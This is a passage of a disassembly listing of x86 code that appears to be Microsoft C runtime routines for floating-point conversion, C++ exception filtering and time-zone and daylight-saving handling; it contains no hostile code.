		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_4204BD:				; CODE XREF: sub_420455+86j
		cmp	ebx, edi
		jl	short loc_4204D0
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_4204D7
; ---------------------------------------------------------------------------


loc_4204D0:				; CODE XREF: sub_420455+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_4204D7:				; CODE XREF: sub_420455+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_4204BD
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4204E2	proc near		; CODE XREF: sub_42064E+Dp
					; sub_420664+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_42054F
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_42043A
		test	eax, eax
		pop	ecx
		jnz	loc_42060E
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx


loc_420547:				; CODE XREF: sub_4204E2+E4j
		push	2


loc_420549:				; CODE XREF: sub_4204E2+110j
		pop	eax
		jmp	loc_420610
; ---------------------------------------------------------------------------


loc_42054F:				; CODE XREF: sub_4204E2+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_420413
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		add	esp, 10h
		test	eax, eax
		jz	short loc_420570
		inc	ebx


loc_420570:				; CODE XREF: sub_4204E2+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_420588
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx
		jmp	short loc_4205C4
; ---------------------------------------------------------------------------


loc_420588:				; CODE XREF: sub_4204E2+98j
		cmp	ebx, eax
		jg	short loc_4205CB
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420413
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_420455
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		add	esp, 20h


loc_4205C4:				; CODE XREF: sub_4204E2+A4j
		xor	esi, esi
		jmp	loc_420547
; ---------------------------------------------------------------------------


loc_4205CB:				; CODE XREF: sub_4204E2+A8j
		cmp	ebx, [edi]
		jl	short loc_4205F7
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_4205F7:				; CODE XREF: sub_4204E2+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_420455
		pop	ecx
		pop	ecx


loc_42060E:				; CODE XREF: sub_4204E2+55j
		xor	eax, eax


loc_420610:				; CODE XREF: sub_4204E2+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_42063F
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_420649
; ---------------------------------------------------------------------------


loc_42063F:				; CODE XREF: sub_4204E2+14Ej
		cmp	edi, 20h
		jnz	short loc_420649
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_420649:				; CODE XREF: sub_4204E2+15Bj
					; sub_4204E2+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4204E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42064E	proc near		; CODE XREF: sub_42067A+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_436610
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_42064E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420664	proc near		; CODE XREF: sub_4206A7+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_436628
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_420664	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42067A	proc near		; CODE XREF: sub_41C92F+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42064E
		add	esp, 24h
		leave
		retn
sub_42067A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206A7	proc near		; CODE XREF: sub_41C92F+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420664
		add	esp, 24h
		leave
		retn
sub_4206A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206D4	proc near		; CODE XREF: sub_41C96D+65p
					; sub_41CA71+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_420711
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_4206F7:				; CODE XREF: sub_4206D4+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_420703
		movsx	edx, dl
		inc	ecx
		jmp	short loc_420706
; ---------------------------------------------------------------------------


loc_420703:				; CODE XREF: sub_4206D4+27j
		push	30h
		pop	edx


loc_420706:				; CODE XREF: sub_4206D4+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4206F7
		mov	edx, [ebp+arg_8]


loc_420711:				; CODE XREF: sub_4206D4+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_42072A
		cmp	byte ptr [ecx],	35h
		jl	short loc_42072A


loc_42071D:				; CODE XREF: sub_4206D4+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_420728
		mov	byte ptr [eax],	30h
		jmp	short loc_42071D
; ---------------------------------------------------------------------------


loc_420728:				; CODE XREF: sub_4206D4+4Dj
		inc	byte ptr [eax]


loc_42072A:				; CODE XREF: sub_4206D4+42j
					; sub_4206D4+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_420734
		inc	dword ptr [edx+4]
		jmp	short loc_420746
; ---------------------------------------------------------------------------


loc_420734:				; CODE XREF: sub_4206D4+59j
		push	edi
		call	sub_417AB0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_4182C0
		add	esp, 10h


loc_420746:				; CODE XREF: sub_4206D4+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4206D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42074B	proc near		; CODE XREF: sub_41C96D+3Fp
					; sub_41CA71+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4207AF
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4CDB88
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4219A9
		mov	dword_4CDBB0, eax
		add	esp, 18h
		movsx	eax, byte_4CDB8A
		mov	dword_4CDBA8, eax
		pop	edi
		movsx	eax, word_4CDB88
		mov	dword_4CDBAC, eax
		mov	dword_4CDBB4, offset dword_4CDB8C
		mov	eax, offset dword_4CDBA8
		pop	esi
		leave
		retn
sub_42074B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4207AF	proc near		; CODE XREF: sub_42074B+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_4207FD
		cmp	ebx, edi
		jz	short loc_4207F6
		lea	edi, [ecx+3C00h]
		jmp	short loc_42081E
; ---------------------------------------------------------------------------


loc_4207F6:				; CODE XREF: sub_4207AF+3Dj
		mov	edi, 7FFFh
		jmp	short loc_42081E
; ---------------------------------------------------------------------------


loc_4207FD:				; CODE XREF: sub_4207AF+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_420815
		cmp	edx, ebx
		jnz	short loc_420815
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_420860
; ---------------------------------------------------------------------------


loc_420815:				; CODE XREF: sub_4207AF+52j
					; sub_4207AF+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_42081E:				; CODE XREF: sub_4207AF+45j
					; sub_4207AF+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_420836:				; CODE XREF: sub_4207AF+A6j
		test	ecx, esi
		jnz	short loc_420857
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_420836
; ---------------------------------------------------------------------------


loc_420857:				; CODE XREF: sub_4207AF+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_420860:				; CODE XREF: sub_4207AF+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4207AF	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_419CDA
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42086E	proc near		; DATA XREF: ___:00435FE8o
					; ___:00436AB0o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_420891
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_420891
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_420891
		jmp	sub_41D4FC
; ---------------------------------------------------------------------------


loc_420891:				; CODE XREF: sub_42086E+Dj
					; sub_42086E+13j ...
		mov	eax, dword_4CDBB8
		test	eax, eax
		jz	short loc_4208AE
		push	eax
		call	sub_42090A
		test	eax, eax
		pop	ecx
		jz	short loc_4208AE
		push	esi
		call	dword_4CDBB8
		jmp	short loc_4208B0
; ---------------------------------------------------------------------------


loc_4208AE:				; CODE XREF: sub_42086E+2Aj
					; sub_42086E+35j
		xor	eax, eax


loc_4208B0:				; CODE XREF: sub_42086E+3Ej
		pop	esi
		retn	4
sub_42086E	endp

; ---------------------------------------------------------------------------
dword_4208B4	dd 42086E68h, 0FC2CE800h, 0A390021Dh, 4CDBB8h, 0B835FFC3h
					; DATA XREF: ___:00426024o
		dd 90004CDBh, 1DFC19E8h
; ---------------------------------------------------------------------------
		add	al, bl

; =============== S U B	R O U T	I N E =======================================



sub_4208D2	proc near		; CODE XREF: sub_41CD45+6Bp
					; sub_41D256+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_4208EA
		xor	esi, esi


loc_4208EA:				; CODE XREF: sub_4208D2+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208EE	proc near		; CODE XREF: sub_41D256+73p
					; sub_41D256+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 28708A7h
		nop
		test	eax, eax
		jz	short loc_420906
		xor	esi, esi


loc_420906:				; CODE XREF: sub_4208EE+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42090A	proc near		; CODE XREF: sub_41D256+15Bp
					; sub_42086E+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 25F0CE5h
		test	eax, eax
		jz	short loc_42091E
		xor	esi, esi


loc_42091E:				; CODE XREF: sub_42090A+10j
		mov	eax, esi
		pop	esi
		retn
sub_42090A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D4FC


loc_420922:				; CODE XREF: sub_41D4FC:loc_41D54Dj
		push	0Ah
		call	sub_41F885
		push	16h
		call	sub_421C3C
		pop	ecx
		pop	ecx
		push	3
		call	sub_419AF6
; END OF FUNCTION CHUNK	FOR sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_420939	proc near		; CODE XREF: sub_41D609:loc_41D648p
		cmp	dword_4CDC78, 0
		jnz	short locret_42094D
		call	sub_42094E
		inc	dword_4CDC78

locret_42094D:				; CODE XREF: sub_420939+7j
		retn
sub_420939	endp


; =============== S U B	R O U T	I N E =======================================



sub_42094E	proc near		; CODE XREF: sub_420939+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4CDBC0, ebp
		mov	dword_4366E8, ebx
		mov	dword_4366D8, ebx
		call	sub_421DAE
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_420A77
		push	offset dword_4CDBC8
		nop
		call	near ptr 2820000h
		cmp	eax, ebx
		jz	loc_420BA6
		mov	eax, dword_4CDBC8
		mov	ecx, dword_4CDC1C
		imul	eax, 3Ch
		cmp	word_4CDC0E, bp
		push	1
		pop	edx
		mov	dword_436640, eax
		mov	dword_4CDBC0, edx
		jz	short loc_4209C5
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_436640, eax


loc_4209C5:				; CODE XREF: sub_42094E+69j
		cmp	word_4CDC62, bp
		jz	short loc_4209E9
		mov	eax, dword_4CDC70
		cmp	eax, ebp
		jz	short loc_4209E9
		sub	eax, ecx
		mov	dword_436644, edx
		imul	eax, 3Ch
		mov	dword_436648, eax
		jmp	short loc_4209F5
; ---------------------------------------------------------------------------


loc_4209E9:				; CODE XREF: sub_42094E+7Ej
					; sub_42094E+87j
		mov	dword_436644, ebp
		mov	dword_436648, ebp


loc_4209F5:				; CODE XREF: sub_42094E+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_424150
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_4366CC
		push	ebx
		push	offset dword_4CDBCC
		push	edi
		push	dword_4CDA58
		call	esi
		test	eax, eax
		jz	short loc_420A32
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_420A32
		mov	eax, off_4366CC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_420A3A
; ---------------------------------------------------------------------------


loc_420A32:				; CODE XREF: sub_42094E+D1j
					; sub_42094E+D7j
		mov	eax, off_4366CC
		and	byte ptr [eax],	0


loc_420A3A:				; CODE XREF: sub_42094E+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_4366D0
		push	ebx
		push	offset dword_4CDC20
		push	edi
		push	dword_4CDA58
		call	esi
		test	eax, eax
		jz	loc_420B9E
		cmp	[esp+14h+var_4], ebp
		jnz	loc_420B9E
		mov	eax, off_4366D0
		and	byte ptr [eax+3Fh], 0
		jmp	loc_420BA6
; ---------------------------------------------------------------------------


loc_420A77:				; CODE XREF: sub_42094E+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_420BA6
		mov	eax, dword_4CDC74
		cmp	eax, ebp
		jz	short loc_420A9A
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_420BA6


loc_420A9A:				; CODE XREF: sub_42094E+139j
		push	dword_4CDC74
		call	sub_417C3B
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4CDC74, eax
		jz	loc_420BA6
		push	esi
		push	eax
		call	sub_4179C0
		push	3
		push	esi
		push	off_4366CC
		call	sub_418C10
		mov	eax, off_4366CC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_420AEF
		push	1
		inc	esi
		pop	edi


loc_420AEF:				; CODE XREF: sub_42094E+19Bj
		push	esi
		call	sub_417794
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_436640, ecx


loc_420B06:				; CODE XREF: sub_42094E+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_420B14
		cmp	al, bl
		jl	short loc_420B17
		cmp	al, 39h
		jg	short loc_420B17


loc_420B14:				; CODE XREF: sub_42094E+1BCj
		inc	esi
		jmp	short loc_420B06
; ---------------------------------------------------------------------------


loc_420B17:				; CODE XREF: sub_42094E+1C0j
					; sub_42094E+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_436640
		add	ecx, eax
		mov	dword_436640, ecx


loc_420B35:				; CODE XREF: sub_42094E+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B42
		cmp	al, 39h
		jg	short loc_420B42
		inc	esi
		jmp	short loc_420B35
; ---------------------------------------------------------------------------


loc_420B42:				; CODE XREF: sub_42094E+1EBj
					; sub_42094E+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		pop	ecx
		mov	ecx, dword_436640
		add	ecx, eax
		mov	dword_436640, ecx


loc_420B5D:				; CODE XREF: sub_42094E+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B6A
		cmp	al, 39h
		jg	short loc_420B6A
		inc	esi
		jmp	short loc_420B5D
; ---------------------------------------------------------------------------


loc_420B6A:				; CODE XREF: sub_42094E+1CCj
					; sub_42094E+1F7j ...
		cmp	edi, ebp
		jz	short loc_420B76
		neg	ecx
		mov	dword_436640, ecx


loc_420B76:				; CODE XREF: sub_42094E+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_436644, eax
		jz	short loc_420B9E
		push	3
		push	esi
		push	off_4366D0
		call	sub_418C10
		mov	eax, off_4366D0
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_420BA6
; ---------------------------------------------------------------------------


loc_420B9E:				; CODE XREF: sub_42094E+10Bj
					; sub_42094E+115j ...
		mov	eax, off_4366D0
		and	byte ptr [eax],	0


loc_420BA6:				; CODE XREF: sub_42094E+40j
					; sub_42094E+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42094E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420BAC	proc near		; CODE XREF: sub_41D609+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_436644, edi
		jnz	short loc_420BC0


loc_420BB9:				; CODE XREF: sub_420BAC+148j
					; sub_420BAC+150j ...
		xor	eax, eax
		jmp	loc_420D0C
; ---------------------------------------------------------------------------


loc_420BC0:				; CODE XREF: sub_420BAC+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_4366D8
		jnz	short loc_420BDE
		cmp	eax, dword_4366E8
		jz	loc_420CE0


loc_420BDE:				; CODE XREF: sub_420BAC+24j
		cmp	dword_4CDBC0, edi
		jz	loc_420CB6
		movzx	ecx, word_4CDC6E
		push	ecx
		cmp	word_4CDC60, di
		movzx	ecx, word_4CDC6C
		push	ecx
		movzx	ecx, word_4CDC6A
		push	ecx
		movzx	ecx, word_4CDC68
		push	ecx
		jnz	short loc_420C30
		movzx	ecx, word_4CDC64
		push	edi
		push	ecx
		movzx	ecx, word_4CDC66
		push	ecx
		movzx	ecx, word_4CDC62
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_420C44
; ---------------------------------------------------------------------------


loc_420C30:				; CODE XREF: sub_420BAC+65j
		movzx	ecx, word_4CDC66
		push	ecx
		push	edi
		movzx	ecx, word_4CDC62
		push	edi
		push	ecx
		push	eax
		push	edi


loc_420C44:				; CODE XREF: sub_420BAC+82j
		push	ebx
		call	sub_420D58
		movzx	eax, word_4CDC1A
		add	esp, 2Ch
		cmp	word_4CDC0C, di
		push	eax
		movzx	eax, word_4CDC18
		push	eax
		movzx	eax, word_4CDC16
		push	eax
		movzx	eax, word_4CDC14
		push	eax
		jnz	short loc_420C9E
		movzx	eax, word_4CDC10
		push	edi
		push	eax
		movzx	eax, word_4CDC12
		push	eax
		movzx	eax, word_4CDC0E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_420C93:				; CODE XREF: sub_420BAC+108j
		push	edi
		call	sub_420D58
		add	esp, 2Ch
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420C9E:				; CODE XREF: sub_420BAC+C8j
		movzx	eax, word_4CDC12
		push	eax
		push	edi
		movzx	eax, word_4CDC0E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_420C93
; ---------------------------------------------------------------------------


loc_420CB6:				; CODE XREF: sub_420BAC+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_420D58
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_420D58
		add	esp, 58h


loc_420CE0:				; CODE XREF: sub_420BAC+2Cj
					; sub_420BAC+F0j
		mov	edx, dword_4366DC
		mov	eax, dword_4366EC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_420D10
		cmp	ecx, edx
		jl	loc_420BB9
		cmp	ecx, eax
		jg	loc_420BB9
		cmp	ecx, edx
		jle	short loc_420D24
		cmp	ecx, eax
		jge	short loc_420D24


loc_420D0A:				; CODE XREF: sub_420BAC+166j
					; sub_420BAC+16Aj
		mov	eax, ebx


loc_420D0C:				; CODE XREF: sub_420BAC+Fj
					; sub_420BAC+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_420D10:				; CODE XREF: sub_420BAC+144j
		cmp	ecx, eax
		jl	short loc_420D0A
		cmp	ecx, edx
		jg	short loc_420D0A
		cmp	ecx, eax
		jle	short loc_420D24
		cmp	ecx, edx
		jl	loc_420BB9


loc_420D24:				; CODE XREF: sub_420BAC+158j
					; sub_420BAC+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_420D4B
		xor	ecx, ecx
		cmp	eax, dword_4366E0
		setnl	cl


loc_420D47:				; CODE XREF: sub_420BAC+1AAj
		mov	eax, ecx
		jmp	short loc_420D0C
; ---------------------------------------------------------------------------


loc_420D4B:				; CODE XREF: sub_420BAC+18Ej
		xor	ecx, ecx
		cmp	eax, dword_4366F0
		setl	cl
		jmp	short loc_420D47
sub_420BAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D58	proc near		; CODE XREF: sub_420BAC+99p
					; sub_420BAC+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_420DF3
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_420D83
		shl	esi, 2
		mov	eax, dword_4366F0[esi]
		jmp	short loc_420D8C
; ---------------------------------------------------------------------------


loc_420D83:				; CODE XREF: sub_420D58+1Ej
		shl	esi, 2
		mov	eax, dword_436724[esi]


loc_420D8C:				; CODE XREF: sub_420D58+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_420DC6
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_420DD0
; ---------------------------------------------------------------------------


loc_420DC6:				; CODE XREF: sub_420D58+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_420DD0:				; CODE XREF: sub_420D58+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_420E0E
		cmp	[ebp+arg_8], 0
		jnz	short loc_420DE4
		mov	esi, dword_4366F4[esi]
		jmp	short loc_420DEA
; ---------------------------------------------------------------------------


loc_420DE4:				; CODE XREF: sub_420D58+82j
		mov	esi, dword_436728[esi]


loc_420DEA:				; CODE XREF: sub_420D58+8Aj
		cmp	ecx, esi
		jle	short loc_420E0E
		sub	ecx, 7
		jmp	short loc_420E0E
; ---------------------------------------------------------------------------


loc_420DF3:				; CODE XREF: sub_420D58+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_420E04
		mov	ecx, dword_4366F0[eax*4]
		jmp	short loc_420E0B
; ---------------------------------------------------------------------------


loc_420E04:				; CODE XREF: sub_420D58+A1j
		mov	ecx, dword_436724[eax*4]


loc_420E0B:				; CODE XREF: sub_420D58+AAj
		add	ecx, [ebp+arg_18]


loc_420E0E:				; CODE XREF: sub_420D58+7Cj
					; sub_420D58+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_420E3F
		mov	eax, [ebp+arg_1C]
		mov	dword_4366DC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_4366D8, ebx
